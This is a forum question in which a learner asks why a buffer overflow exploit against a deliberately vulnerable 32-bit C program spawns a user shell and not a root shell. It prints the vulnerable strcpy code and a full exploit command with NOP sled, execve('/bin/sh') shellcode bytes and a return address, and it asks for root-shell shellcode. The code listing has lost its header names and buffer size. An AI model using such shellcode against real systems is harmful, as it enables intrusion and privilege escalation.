Run shellcode as root in a buffer overflow attack?
0
votes
2
answers
710
views
I'm trying to exploit the following code:
#include
#include
int main(int argc, char** argv){
char buffer;
strcpy(buffer, argv[1] );
return 0;
}
with the following command
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
The first part is the NOPs, the second part is the shell code
I took from this website , and it should just execve("/bin/sh")
.
The last part is the return address.
My program is compiled for a 32-bit system,
and with all protection mechanisms disabled.
When I run my script, I get
process 15377 is executing new program: /usr/bin/bash
meaning bash
is being run as the current user and not as root.
Where can I find a shell code that runs a shell as root?
Do I have to disable any Linux feature that prevents this?
When I run whoami
I get the current user and not root.
In this “First Exploit! Buffer Overflow with Shellcode – bin 0x0E” video the same script is used, and root access is granted.
Asked by r3k0j
(15 rep)
Mar 7, 2024, 11:29 AM
Last activity: Mar 8, 2024, 02:34 AM
Last activity: Mar 8, 2024, 02:34 AM